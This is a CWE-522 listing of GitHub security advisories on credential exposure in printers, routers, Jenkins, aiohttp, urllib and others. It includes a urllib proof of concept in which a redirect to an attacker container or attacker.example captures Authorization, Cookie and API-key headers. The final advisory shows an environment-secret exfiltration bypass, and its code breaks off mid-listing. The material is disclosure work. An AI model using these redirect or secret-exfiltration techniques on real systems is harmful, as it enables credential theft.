CWE-522
Allowed-with-ReviewInsufficiently Protected Credentials
Abstraction: Class · Status: Incomplete
The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.
1943 vulnerabilities reference this CWE, most recent first.
GHSA-HMXQ-86PG-VVRH
Vulnerability from github – Published: 2022-05-24 17:09 – Updated: 2022-05-24 17:09Certain Xerox WorkCentre printers before 073.xxx.000.02300 do not require the user to reenter or validate LDAP bind credentials when changing the LDAP connector IP address. A malicious actor who gains access to affected devices (e.g., by using default credentials) can change the LDAP connection IP address to a system owned by the actor without knowledge of the LDAP bind credentials. After changing the LDAP connection IP address, subsequent authentication attempts will result in the printer sending plaintext LDAP (Active Directory) credentials to the actor. Although the credentials may belong to a non-privileged user, organizations frequently use privileged service accounts to bind to Active Directory. The attacker gains a foothold on the Active Directory domain at a minimum, and may use the credentials to take over control of the Active Directory domain. This affects 3655, 3655i, 58XX, 58XXi, 59XX, 59XXi, 6655, 6655i, 72XX, 72XXi, 78XX, 78XXi, 7970, 7970i, EC7836, and EC7856 devices.
{
"affected": [],
"aliases": [
"CVE-2020-9330"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-02-21T23:15:00Z",
"severity": "MODERATE"
},
"details": "Certain Xerox WorkCentre printers before 073.xxx.000.02300 do not require the user to reenter or validate LDAP bind credentials when changing the LDAP connector IP address. A malicious actor who gains access to affected devices (e.g., by using default credentials) can change the LDAP connection IP address to a system owned by the actor without knowledge of the LDAP bind credentials. After changing the LDAP connection IP address, subsequent authentication attempts will result in the printer sending plaintext LDAP (Active Directory) credentials to the actor. Although the credentials may belong to a non-privileged user, organizations frequently use privileged service accounts to bind to Active Directory. The attacker gains a foothold on the Active Directory domain at a minimum, and may use the credentials to take over control of the Active Directory domain. This affects 3655*, 3655i*, 58XX*, 58XXi*, 59XX*, 59XXi*, 6655**, 6655i**, 72XX*, 72XXi*, 78XX**, 78XXi**, 7970**, 7970i**, EC7836**, and EC7856** devices.",
"id": "GHSA-hmxq-86pg-vvrh",
"modified": "2022-05-24T17:09:29Z",
"published": "2022-05-24T17:09:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-9330"
},
{
"type": "WEB",
"url": "https://securitydocs.business.xerox.com/wp-content/uploads/2020/02/cert_Security_Mini_Bulletin_XRX20D_for_ConnectKey.pdf"
},
{
"type": "WEB",
"url": "https://www.securicon.com/hackers-can-gain-active-directory-privileges-through-new-vulnerability-in-xerox-printers"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-HPJ7-WQ8M-9HGP
Vulnerability from github – Published: 2026-06-15 20:09 – Updated: 2026-06-15 20:09Summary
DigestAuthMiddleware can send an authentication response after following a cross-origin redirect.
Impact
If the client follows a redirect (the default option) to an attacker controlled domain, the attacker may be able to extract the auth digest.
This likely requires an open redirect vulnerability or similar on the target domain for an attacker to be able to execute. Further, the attacker is only receiving the digest, so should only be able to extract the user's credentials if the cryptography is weak or there is some kind of password reuse.
Workaround
Disable follow_redirects if this is a concern.
Patch: https://github.com/aio-libs/aiohttp/commit/38d16060037e1bfcd6d677abababa3c2a4bb58fa
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.14.0"
},
"package": {
"ecosystem": "PyPI",
"name": "aiohttp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.14.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54276"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-522"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-15T20:09:06Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\n``DigestAuthMiddleware`` can send an authentication response after following a cross-origin redirect.\n\n### Impact\n\nIf the client follows a redirect (the default option) to an attacker controlled domain, the attacker may be able to extract the auth digest.\n\nThis likely requires an open redirect vulnerability or similar on the target domain for an attacker to be able to execute. Further, the attacker is only receiving the digest, so should only be able to extract the user\u0027s credentials if the cryptography is weak or there is some kind of password reuse.\n\n### Workaround\n\nDisable ``follow_redirects`` if this is a concern.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/38d16060037e1bfcd6d677abababa3c2a4bb58fa",
"id": "GHSA-hpj7-wq8m-9hgp",
"modified": "2026-06-15T20:09:06Z",
"published": "2026-06-15T20:09:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/aio-libs/aiohttp/security/advisories/GHSA-hpj7-wq8m-9hgp"
},
{
"type": "WEB",
"url": "https://github.com/aio-libs/aiohttp/commit/38d16060037e1bfcd6d677abababa3c2a4bb58fa"
},
{
"type": "PACKAGE",
"url": "https://github.com/aio-libs/aiohttp"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "aiohttp: DigestAuthMiddleware Applies Credentials to Cross-Origin Redirect Challenges"
}
GHSA-HPM9-FX8V-W45V
Vulnerability from github – Published: 2022-03-30 00:00 – Updated: 2023-10-27 17:03Jenkins instant-messaging Plugin 1.41 and earlier stores passwords for group chats unencrypted in the global configuration file of plugins based on Jenkins instant-messaging Plugin on the Jenkins controller where they can be viewed by users with access to the Jenkins controller file system.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.jvnet.hudson.plugins:instant-messaging"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.42"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-28135"
],
"database_specific": {
"cwe_ids": [
"CWE-256",
"CWE-522"
],
"github_reviewed": true,
"github_reviewed_at": "2022-04-07T22:02:17Z",
"nvd_published_at": "2022-03-29T13:15:00Z",
"severity": "MODERATE"
},
"details": "Jenkins instant-messaging Plugin 1.41 and earlier stores passwords for group chats unencrypted in the global configuration file of plugins based on Jenkins instant-messaging Plugin on the Jenkins controller where they can be viewed by users with access to the Jenkins controller file system.",
"id": "GHSA-hpm9-fx8v-w45v",
"modified": "2023-10-27T17:03:55Z",
"published": "2022-03-30T00:00:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-28135"
},
{
"type": "PACKAGE",
"url": "https://github.com/jenkinsci/instant-messaging-plugin"
},
{
"type": "WEB",
"url": "https://www.jenkins.io/security/advisory/2022-03-29/#SECURITY-2161"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2022/03/29/1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Plaintext storage in Jenkins instant-messaging Plugin"
}
GHSA-HPPR-5P45-XR8C
Vulnerability from github – Published: 2023-01-31 18:30 – Updated: 2023-02-08 03:30COMFAST (Shenzhen Sihai Zhonglian Network Technology Co., Ltd) CF-WR623N Router firmware V2.3.0.1 and before is vulnerable to Account takeover. Anyone can reset the password of the admin accounts.
{
"affected": [],
"aliases": [
"CVE-2022-47697"
],
"database_specific": {
"cwe_ids": [
"CWE-522",
"CWE-640"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-01-31T18:15:00Z",
"severity": "CRITICAL"
},
"details": "COMFAST (Shenzhen Sihai Zhonglian Network Technology Co., Ltd) CF-WR623N Router firmware V2.3.0.1 and before is vulnerable to Account takeover. Anyone can reset the password of the admin accounts.",
"id": "GHSA-hppr-5p45-xr8c",
"modified": "2023-02-08T03:30:25Z",
"published": "2023-01-31T18:30:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-47697"
},
{
"type": "WEB",
"url": "https://github.com/OlivierLaflamme/cve/blob/main/COMFAST/CF-WR623N/unauth_account_takeover"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-HQ3H-G68C-HP78
Vulnerability from github – Published: 2026-08-25 16:19 – Updated: 2026-08-25 16:19Summary
urllib supports redirect-following through followRedirect, which is expected behavior for an HTTP client. The issue is that, when following a redirect to a different origin, urllib preserves the caller-supplied request headers verbatim, including credential-bearing headers such as Authorization, Cookie, Proxy-Authorization, and custom auth headers (x-api-key, x-auth-token, x-access-token).
If the redirect target is attacker-controlled or outside the trust boundary of the original target, credentials intended for the original origin can be delivered to the redirected origin. In a local multi-library reproduction, urllib v4.9.0 was the only tested client that stripped no headers on cross-origin redirect.
Affected behavior
Confirmed against urllib v4.9.0. The relevant code is in #requestInternal (src/HttpClient.ts:639-656):
// https://developer.mozilla.org/en-US/docs/Web/HTTP/Redirections
if (RedirectStatusCodes.includes(res.statusCode) && maxRedirects > 0 && requestContext.redirects < maxRedirects) {
if (res.headers.location) {
requestContext.redirects++;
const nextUrl = new URL(res.headers.location, requestUrl.href);
// Ensure the response is consumed
await response.body.arrayBuffer();
debug(
'Request#%d got response, status: %s, headers: %j, timing: %j, redirect to %s',
requestId,
res.status,
res.headers,
res.timing,
nextUrl.href,
);
return await this.#requestInternal(nextUrl.href, options, requestContext);
}
}
The recursive call this.#requestInternal(nextUrl.href, options, requestContext) reuses the original options object. If the caller supplied credential-bearing headers in options.headers, those headers are reused for the redirected request, regardless of whether the redirect target shares the original origin.
Redirect-header handling context
The CHANGELOG suggests that redirect-related header handling has been considered before, including changes around preserving or cleaning up Host during redirects. Given that context, sensitive-header stripping may be an unintentional gap rather than an explicit policy decision.
Proof of Concept: 3-container topology
The reproduction uses three separate containers (partner, attacker, client) connected over a Podman bridge network. Each container has its own hostname, port, and process, so the redirect crosses a clear origin boundary. This is not a localhost vs 127.0.0.1 same-host case.
[client container] [partner container] [attacker container]
hostname: client hostname: partner hostname: attacker
port: 3001 port: 3002
urllib v4.9.0
│
│ GET http://partner:3001/start
│ + 6 credential-bearing headers
↓
302 Location:
http://attacker:3002/captured
│
│ urllib follows redirect
│ → DIFFERENT ORIGIN
│ (different hostname and port)
│ → all 6 headers preserved
↓
headers logged
inside attacker
container
The origin tuple is (scheme, host, port):
- source origin:
http://partner:3001 - destination origin:
http://attacker:3002
The host and port both differ, so the redirect target is a different URL origin. The headers are logged in a separate process inside a separate container.
Client invocation (client/poc.mjs):
import urllib from 'urllib' // v4.9.0
await urllib.request('http://partner:3001/start', {
followRedirect: true,
maxRedirects: 5,
headers: {
'Authorization': 'Bearer LIVE-AUTH-3CONTAINER',
'Cookie': 'session=LIVE-COOKIE-3CONTAINER',
'Proxy-Authorization': 'Bearer proxy-LIVE-3CONTAINER',
'x-api-key': 'sk-LIVE-3CONTAINER-x123',
'x-auth-token': 'auth-LIVE-3CONTAINER-y456',
'x-access-token': 'access-LIVE-3CONTAINER-z789',
},
})
Observed result
urllib 4.9.0, Node.js 22.22.2, linux/arm64:
[attacker] CAPTURED HEADERS:
"authorization": "Bearer LIVE-AUTH-3CONTAINER"
"cookie": "session=LIVE-COOKIE-3CONTAINER"
"proxy-authorization": "Bearer proxy-LIVE-3CONTAINER"
"x-api-key": "sk-LIVE-3CONTAINER-x123"
"x-auth-token": "auth-LIVE-3CONTAINER-y456"
"x-access-token": "access-LIVE-3CONTAINER-z789"
"user-agent": "node-urllib/4.9.0 Node.js/22.22.2 (linux; arm64)"
LEAK RATE: 6/6
The user-agent value confirms that the redirected request was sent by urllib v4.9.0.
Independent reproduction: multi-library comparison
A separate local harness tested the same cross-origin redirect topology against multiple Node.js HTTP clients:
- same
partner:3001 → attacker:3002redirect; - same six credential-bearing headers;
- same RFC 6454 origin boundary.
The results were deterministic across runs:
| Library | Leak rate | Headers stripped on cross-origin redirect |
|---|---|---|
| undici 6.21.0 | 3/6 | authorization, cookie, proxy-authorization |
| needle 3.5.0 | 3/6 | authorization, cookie, proxy-authorization |
| node-fetch 3.3.2 | 4/6 | authorization, cookie |
| superagent 10.3.0 | 4/6 | authorization, cookie |
| @hapi/wreck 18.1.0 | 4/6 | authorization, cookie |
| request 2.88.2 | 5/6 | authorization |
| urllib 4.9.0 | 6/6 | none |
urllib was the only tested library that stripped no headers on cross-origin redirect. Custom auth headers such as x-api-key, x-auth-token, and x-access-token are an ecosystem-wide gap in this comparison. The urllib-specific issue is the absence of any strip step for standard credential-bearing headers such as Authorization, Cookie, and Proxy-Authorization.
The reproduction harness is small and can be shared if useful.
Impact
This affects Node.js applications that use urllib to make authenticated HTTP requests while allowing redirects to be followed automatically.
1. Application sends an authenticated request:
GET https://api.partner.example/data
Authorization: Bearer <token>
Cookie: session=<session-id>
2. The partner endpoint, a compromised intermediary, or a misconfigured CDN returns:
302 Location: https://attacker.example/captured
3. urllib follows the redirect and sends the original Authorization and Cookie headers
to attacker.example.
This exposes credentials to an origin that was not the intended recipient. Depending on the credential type and server-side validation, the leaked credentials may be reusable against the original partner API or related services.
This requires no user interaction. Realistic triggers include compromised partner subdomains, DNS hijacking, malicious partner endpoints during onboarding, internal services redirecting across trust boundaries, or an open redirect upstream of urllib's call site.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.9.0"
},
"package": {
"ecosystem": "npm",
"name": "urllib"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "4.9.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.44.0"
},
"package": {
"ecosystem": "npm",
"name": "urllib"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.44.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55553"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-201",
"CWE-522"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-25T16:19:32Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nurllib supports redirect-following through `followRedirect`, which is expected behavior for an HTTP client. The issue is that, when following a redirect to a **different origin**, urllib preserves the caller-supplied request headers verbatim, including credential-bearing headers such as `Authorization`, `Cookie`, `Proxy-Authorization`, and custom auth headers (`x-api-key`, `x-auth-token`, `x-access-token`).\n\nIf the redirect target is attacker-controlled or outside the trust boundary of the original target, credentials intended for the original origin can be delivered to the redirected origin. In a local multi-library reproduction, urllib v4.9.0 was the only tested client that stripped no headers on cross-origin redirect.\n\n## Affected behavior\n\nConfirmed against urllib v4.9.0. The relevant code is in `#requestInternal` ([`src/HttpClient.ts:639-656`](https://github.com/node-modules/urllib/blob/master/src/HttpClient.ts#L639-L656)):\n\n```ts\n // https://developer.mozilla.org/en-US/docs/Web/HTTP/Redirections\n if (RedirectStatusCodes.includes(res.statusCode) \u0026\u0026 maxRedirects \u003e 0 \u0026\u0026 requestContext.redirects \u003c maxRedirects) {\n if (res.headers.location) {\n requestContext.redirects++;\n const nextUrl = new URL(res.headers.location, requestUrl.href);\n // Ensure the response is consumed\n await response.body.arrayBuffer();\n debug(\n \u0027Request#%d got response, status: %s, headers: %j, timing: %j, redirect to %s\u0027,\n requestId,\n res.status,\n res.headers,\n res.timing,\n nextUrl.href,\n );\n return await this.#requestInternal(nextUrl.href, options, requestContext);\n }\n }\n```\n\nThe recursive call `this.#requestInternal(nextUrl.href, options, requestContext)` reuses the original `options` object. If the caller supplied credential-bearing headers in `options.headers`, those headers are reused for the redirected request, regardless of whether the redirect target shares the original origin.\n\n## Redirect-header handling context\n\nThe CHANGELOG suggests that redirect-related header handling has been considered before, including changes around preserving or cleaning up `Host` during redirects. Given that context, sensitive-header stripping may be an unintentional gap rather than an explicit policy decision.\n\n## Proof of Concept: 3-container topology\n\nThe reproduction uses three separate containers (`partner`, `attacker`, `client`) connected over a Podman bridge network. Each container has its own hostname, port, and process, so the redirect crosses a clear origin boundary. This is not a `localhost` vs `127.0.0.1` same-host case.\n\n```text\n[client container] [partner container] [attacker container]\nhostname: client hostname: partner hostname: attacker\n port: 3001 port: 3002\n urllib v4.9.0\n \u2502\n \u2502 GET http://partner:3001/start\n \u2502 + 6 credential-bearing headers\n \u2193\n 302 Location:\n http://attacker:3002/captured\n \u2502\n \u2502 urllib follows redirect\n \u2502 \u2192 DIFFERENT ORIGIN\n \u2502 (different hostname and port)\n \u2502 \u2192 all 6 headers preserved\n \u2193\n headers logged\n inside attacker\n container\n```\n\nThe origin tuple is `(scheme, host, port)`:\n\n- source origin: `http://partner:3001`\n- destination origin: `http://attacker:3002`\n\nThe host and port both differ, so the redirect target is a different URL origin. The headers are logged in a separate process inside a separate container.\n\n**Client invocation** (`client/poc.mjs`):\n\n```javascript\nimport urllib from \u0027urllib\u0027 // v4.9.0\n\nawait urllib.request(\u0027http://partner:3001/start\u0027, {\n followRedirect: true,\n maxRedirects: 5,\n headers: {\n \u0027Authorization\u0027: \u0027Bearer LIVE-AUTH-3CONTAINER\u0027,\n \u0027Cookie\u0027: \u0027session=LIVE-COOKIE-3CONTAINER\u0027,\n \u0027Proxy-Authorization\u0027: \u0027Bearer proxy-LIVE-3CONTAINER\u0027,\n \u0027x-api-key\u0027: \u0027sk-LIVE-3CONTAINER-x123\u0027,\n \u0027x-auth-token\u0027: \u0027auth-LIVE-3CONTAINER-y456\u0027,\n \u0027x-access-token\u0027: \u0027access-LIVE-3CONTAINER-z789\u0027,\n },\n})\n```\n\n**Observed result** \nurllib 4.9.0, Node.js 22.22.2, linux/arm64:\n\n```text\n[attacker] CAPTURED HEADERS:\n \"authorization\": \"Bearer LIVE-AUTH-3CONTAINER\"\n \"cookie\": \"session=LIVE-COOKIE-3CONTAINER\"\n \"proxy-authorization\": \"Bearer proxy-LIVE-3CONTAINER\"\n \"x-api-key\": \"sk-LIVE-3CONTAINER-x123\"\n \"x-auth-token\": \"auth-LIVE-3CONTAINER-y456\"\n \"x-access-token\": \"access-LIVE-3CONTAINER-z789\"\n \"user-agent\": \"node-urllib/4.9.0 Node.js/22.22.2 (linux; arm64)\"\n\nLEAK RATE: 6/6\n```\n\nThe `user-agent` value confirms that the redirected request was sent by urllib v4.9.0.\n\n## Independent reproduction: multi-library comparison\n\nA separate local harness tested the same cross-origin redirect topology against multiple Node.js HTTP clients:\n\n- same `partner:3001 \u2192 attacker:3002` redirect;\n- same six credential-bearing headers;\n- same RFC 6454 origin boundary.\n\nThe results were deterministic across runs:\n\n| Library | Leak rate | Headers stripped on cross-origin redirect |\n|---|---:|---|\n| undici 6.21.0 | 3/6 | `authorization`, `cookie`, `proxy-authorization` |\n| needle 3.5.0 | 3/6 | `authorization`, `cookie`, `proxy-authorization` |\n| node-fetch 3.3.2 | 4/6 | `authorization`, `cookie` |\n| superagent 10.3.0 | 4/6 | `authorization`, `cookie` |\n| @hapi/wreck 18.1.0 | 4/6 | `authorization`, `cookie` |\n| request 2.88.2 | 5/6 | `authorization` |\n| **urllib 4.9.0** | **6/6** | **none** |\n\n`urllib` was the only tested library that stripped no headers on cross-origin redirect. Custom auth headers such as `x-api-key`, `x-auth-token`, and `x-access-token` are an ecosystem-wide gap in this comparison. The urllib-specific issue is the absence of any strip step for standard credential-bearing headers such as `Authorization`, `Cookie`, and `Proxy-Authorization`.\n\nThe reproduction harness is small and can be shared if useful.\n\n## Impact\n\nThis affects Node.js applications that use urllib to make authenticated HTTP requests while allowing redirects to be followed automatically.\n\n```text\n1. Application sends an authenticated request:\n GET https://api.partner.example/data\n Authorization: Bearer \u003ctoken\u003e\n Cookie: session=\u003csession-id\u003e\n\n2. The partner endpoint, a compromised intermediary, or a misconfigured CDN returns:\n 302 Location: https://attacker.example/captured\n\n3. urllib follows the redirect and sends the original Authorization and Cookie headers\n to attacker.example.\n```\n\nThis exposes credentials to an origin that was not the intended recipient. Depending on the credential type and server-side validation, the leaked credentials may be reusable against the original partner API or related services.\n\nThis requires no user interaction. Realistic triggers include compromised partner subdomains, DNS hijacking, malicious partner endpoints during onboarding, internal services redirecting across trust boundaries, or an open redirect upstream of urllib\u0027s call site.",
"id": "GHSA-hq3h-g68c-hp78",
"modified": "2026-08-25T16:19:32Z",
"published": "2026-08-25T16:19:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/node-modules/urllib/security/advisories/GHSA-hq3h-g68c-hp78"
},
{
"type": "WEB",
"url": "https://github.com/node-modules/urllib/pull/812"
},
{
"type": "WEB",
"url": "https://github.com/node-modules/urllib/pull/813"
},
{
"type": "WEB",
"url": "https://github.com/node-modules/urllib/commit/7c86c465883ebd3dea5109c87d7bbe3b00960a16"
},
{
"type": "WEB",
"url": "https://github.com/node-modules/urllib/commit/811a8d56e64e540bf6a19bf8b3737692f05d5c46"
},
{
"type": "PACKAGE",
"url": "https://github.com/node-modules/urllib"
},
{
"type": "WEB",
"url": "https://github.com/node-modules/urllib/releases/tag/v2.44.1"
},
{
"type": "WEB",
"url": "https://github.com/node-modules/urllib/releases/tag/v4.9.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "urllib\u0027s cross-origin redirects preserve credential-bearing request headers, leading to potential credential leakage"
}
GHSA-HQ6F-9M26-G47R
Vulnerability from github – Published: 2022-05-24 17:37 – Updated: 2022-05-24 17:37A password-disclosure issue in the web interface on certain TP-Link devices allows a remote attacker to get full administrative access to the web panel. This affects WA901ND devices before 3.16.9(201211) beta, and Archer C5, Archer C7, MR3420, MR6400, WA701ND, WA801ND, WDR3500, WDR3600, WE843N, WR1043ND, WR1045ND, WR740N, WR741ND, WR749N, WR802N, WR840N, WR841HP, WR841N, WR842N, WR842ND, WR845N, WR940N, WR941HP, WR945N, WR949N, and WRD4300 devices.
{
"affected": [],
"aliases": [
"CVE-2020-35575"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-12-26T02:15:00Z",
"severity": "CRITICAL"
},
"details": "A password-disclosure issue in the web interface on certain TP-Link devices allows a remote attacker to get full administrative access to the web panel. This affects WA901ND devices before 3.16.9(201211) beta, and Archer C5, Archer C7, MR3420, MR6400, WA701ND, WA801ND, WDR3500, WDR3600, WE843N, WR1043ND, WR1045ND, WR740N, WR741ND, WR749N, WR802N, WR840N, WR841HP, WR841N, WR842N, WR842ND, WR845N, WR940N, WR941HP, WR945N, WR949N, and WRD4300 devices.",
"id": "GHSA-hq6f-9m26-g47r",
"modified": "2022-05-24T17:37:21Z",
"published": "2022-05-24T17:37:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-35575"
},
{
"type": "WEB",
"url": "https://pastebin.com/F8AuUdck"
},
{
"type": "WEB",
"url": "https://static.tp-link.com/2020/202012/20201214/wa901ndv5_eu_3_16_9_up_boot(201211).zip"
},
{
"type": "WEB",
"url": "https://www.tp-link.com/us/security"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/163274/TP-Link-TL-WR841N-Command-Injection.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-HQ7Q-JPFQ-95P9
Vulnerability from github – Published: 2023-12-09 03:30 – Updated: 2023-12-09 03:30IBM API Connect V10.0.5.3 and V10.0.6.0 stores user credentials in browser cache which can be read by a local user. IBM X-Force ID: 271912.
{
"affected": [],
"aliases": [
"CVE-2023-47722"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-12-09T03:15:07Z",
"severity": "MODERATE"
},
"details": "IBM API Connect V10.0.5.3 and V10.0.6.0 stores user credentials in browser cache which can be read by a local user. IBM X-Force ID: 271912.",
"id": "GHSA-hq7q-jpfq-95p9",
"modified": "2023-12-09T03:30:16Z",
"published": "2023-12-09T03:30:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-47722"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/271912"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7087806"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-HQVW-49X7-PM7W
Vulnerability from github – Published: 2025-01-23 12:32 – Updated: 2026-02-23 12:31Unsafe password recovery from configuration in M-Files Server before 25.1 allows a highly privileged user to recover external connector passwords
{
"affected": [],
"aliases": [
"CVE-2025-0619"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-23T11:15:10Z",
"severity": "MODERATE"
},
"details": "Unsafe password recovery from configuration in M-Files Server before 25.1 allows a highly privileged user to recover external connector passwords",
"id": "GHSA-hqvw-49x7-pm7w",
"modified": "2026-02-23T12:31:29Z",
"published": "2025-01-23T12:32:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-0619"
},
{
"type": "WEB",
"url": "https://empower.m-files.com/security-advisories/CVE-2025-0619"
},
{
"type": "WEB",
"url": "https://product.m-files.com/security-advisories/cve-2025-0619"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:L/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-HR3F-QFRH-H7W5
Vulnerability from github – Published: 2026-08-12 21:31 – Updated: 2026-09-03 23:01Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-8x84-r2ff-h8pq. This link is maintained to preserve external references.
Original Description
SiYuan versions before v3.7.4 disclose encrypted-notebook key-derivation material and wrapped data keys through unauthenticated endpoints in publish mode. Attackers can retrieve Argon2id salt, cost parameters, password verifiers, and wrapped notebook keys to perform unlimited offline master-password cracking without rate limiting.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/siyuan-note/siyuan/kernel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "3.7.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-03T23:01:37Z",
"nvd_published_at": "2026-08-12T20:17:51Z",
"severity": "HIGH"
},
"details": "## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of\u00a0GHSA-8x84-r2ff-h8pq. This link is maintained to preserve external references.\n\n## Original Description\nSiYuan versions before v3.7.4 disclose encrypted-notebook key-derivation material and wrapped data keys through unauthenticated endpoints in publish mode. Attackers can retrieve Argon2id salt, cost parameters, password verifiers, and wrapped notebook keys to perform unlimited offline master-password cracking without rate limiting.",
"id": "GHSA-hr3f-qfrh-h7w5",
"modified": "2026-09-03T23:01:37Z",
"published": "2026-08-12T21:31:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-8x84-r2ff-h8pq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-72801"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/siyuan-before-information-disclosure-via-encryption-key-material"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
],
"summary": "Duplicate Advisory: Encrypted-notebook key-derivation material and wrapped notebook keys disclosed to anonymous readers, enabling offline master-password cracking",
"withdrawn": "2026-09-03T23:01:37Z"
}
GHSA-HR7P-WG7R-HG9M
Vulnerability from github – Published: 2026-07-30 14:47 – Updated: 2026-07-30 14:47Summary
The capability policy denies the env.get and env.load_dotenv modules by default, with the stated reason that they read arbitrary host environment variables (API keys, DSNs) and are a secret-exfil risk. But the workflow engine's variable resolver expands ${env.VAR} for any environment variable with no allowlist and no policy check, so the exact capability the denylist blocks is available to any workflow parameter. The resolved secret can then be sent out through any allowed module.
Affected code
src/core/engine/variable_resolver.py:
if var_type == 'env':
if len(parts) < 2:
return None
env_var = parts[1]
return os.getenv(env_var) # any env var, no allowlist, not covered by module policy
The module policy (enforce_module_policy in module_policy.py) gates module execution at BaseModule.run, but ${...} interpolation happens earlier in the engine and is not subject to it. So denylisting env.get does not actually stop a workflow from reading host env secrets.
Reproduction
Save as envbypass_poc.py, run with PYTHONPATH=src/src python envbypass_poc.py.
#!/usr/bin/env python3
import os
os.environ["AWS_SECRET_ACCESS_KEY"] = "AKIA-operator-super-secret-DO-NOT-LEAK"
from core.module_policy import module_filter
from core.engine.variable_resolver import VariableResolver
